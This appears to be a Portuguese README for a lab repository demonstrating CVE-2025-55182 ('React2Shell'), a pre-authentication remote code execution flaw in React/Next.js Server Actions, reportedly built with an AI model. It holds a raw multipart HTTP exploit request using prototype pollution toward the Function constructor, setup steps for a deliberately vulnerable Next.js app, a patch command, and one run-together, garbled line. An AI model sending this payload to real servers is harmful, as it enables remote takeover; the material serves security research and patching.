
Escrevemos e testamos uma amostra para a vulnerabilidade CVE-2025-55182 com IA.
IA utilizada: Claude Opus 4.5 ⚠️ Aviso: Este ambiente deve ser usado apenas para fins educacionais e de pesquisa.
| Item | Descrição |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nome | React2Shell |
| CVSS | 10.0 (Critical) |
| Tipo | Pre-Auth Remote Code Execution |
| Causa | Contaminação de protótipo durante desserialização do protocolo Flight |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Cabeçalho Next-Action → Dispara Server Action │
│ 2. Payload multipart → Desserialização do protocolo Flight│
│ 3. Chamada do método then() do objeto Fake Chunk │
│ 4. Referência __proto__ → Contaminação de protótipo │
│ 5. Injeção do construtor Function → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
Elementos principais:
Next-Action para disparar Server Actionthen method for promise-like behavior$@0Function via __proto__:thencd vulnerable-app
# Instalar dependências
npm install
# Iniciar servidor de desenvolvimento
npm run dev
Acessar em http://localhost:3000
react-rce/
├── README.md
├── vulnerable-app/ # Aplicação Next.js vulnerável
│ ├── package.json # Next.js 15.0.3 (versão vulnerável)
│ └── app/
│ ├── page.js # UI (Informações CVE + Demonstração RCE)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # Ferramenta de ataque (opcional)
└── exploit.py # CVE-2025-55182 PoC
# Atualizar para versão corrigida
npm install [email protected] [email protected] [email protected]